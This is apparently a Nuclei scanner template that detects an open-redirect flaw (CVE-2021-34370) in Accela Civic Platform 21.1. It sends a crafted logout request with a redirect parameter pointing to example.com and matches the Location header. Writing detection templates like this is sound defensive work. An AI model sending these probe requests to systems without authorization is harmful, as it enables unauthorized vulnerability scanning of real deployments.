id: CVE-2021-34370

info:
  name: Accela Civic Platform 21.1 - Open Redirect & XSS
  author: 0x_Akoko
  severity: medium
  description: Accela Civic Platform Cross-Site-Scripting and Open Redirect <= 21.1
  reference:
    - https://www.exploit-db.com/exploits/49990
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34370
    - https://www.accela.com/civic-platform/
  tags: xss,redirect,cve,cve2021,accela
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-34370
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - "{{BaseURL}}/ssoAdapter/logoutAction.do?servProvCode=SAFVC&successURL=https://example.com/"

    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
        part: header